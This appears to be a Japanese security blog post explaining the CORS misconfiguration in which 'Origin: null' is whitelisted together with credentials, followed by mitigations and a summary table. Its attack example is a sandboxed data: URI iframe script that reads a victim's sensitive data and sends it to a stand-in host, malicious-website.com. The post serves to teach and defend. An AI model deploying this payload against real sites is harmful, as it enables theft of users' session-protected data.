Shikata Ga Nai

Private? There is no such things.

CORSにおける `null` オリジンのホワイトリスト問題

Hello there, ('ω')ノ

🎯 目的

今回は、CORS (Cross-Origin Resource Sharing) において Origin: null がホワイトリストに登録されている場合に発生する脆弱性について解説します。特に、開発環境などで便利に思える設定が、本番環境で深刻なセキュリティ問題を引き起こすリスクを紹介します。


🧪 Origin: null とは?

Origin: null は、以下のようなケースでブラウザが送信する可能性があります:

  • クロスオリジンリダイレクト
  • file:// プロトコルからのリクエスト
  • data: URI からのリクエスト
  • sandbox 属性付き iframe からのリクエスト
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

これに対して、サーバーが以下のように応答すると…

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

任意のnullオリジンからのクロスオリジンリクエストが許可されてしまいます。


☠️ 攻撃例

攻撃者が data: URI と sandbox 属性付きの iframe を使って null オリジンのリクエストを生成:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,
<script>
var req = new XMLHttpRequest();
req.onload = function() {
    location='https://malicious-website.com/log?key='+this.responseText;
};
req.open('GET','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
</script>"></iframe>

これにより、ユーザーのセッションを用いた機密情報の取得が可能になります。


🔧 開発と本番での注意点

🧪 開発環境でよくある設定ミス

  • ローカルのHTMLファイル(file://)やdata: URIを用いた開発で便利なため、Origin: null を許可してしまう

🛑 本番環境での影響

  • 攻撃者が null オリジンを利用して、クロスサイトAPIアクセスが可能
  • セッション付きでの機密データ読み取り → アカウント乗っ取りや情報漏洩

✅ 対策

  • Origin: null をホワイトリストに含めない
  • 開発用CORSポリシーと本番用CORSポリシーを明確に分離
  • sandbox 属性付きiframe、data: URI、file:// プロトコルからのリクエストは拒否を推奨
  • Access-Control-Allow-Credentials: true を使う際は Access-Control-Allow-Originnull* を使用しない

✅ まとめ

誤設定 リスク
Access-Control-Allow-Origin: null 攻撃者が任意のブラウザでクロスサイトアクセス可能
本番と開発の設定共有 開発時の緩いポリシーが本番でも有効になる

CORSの設定は一見地味ですが、極めて重大な脆弱性を引き起こす可能性があるため、本番環境では厳格なポリシーを徹底しましょう。

Best regards, (^^ゞ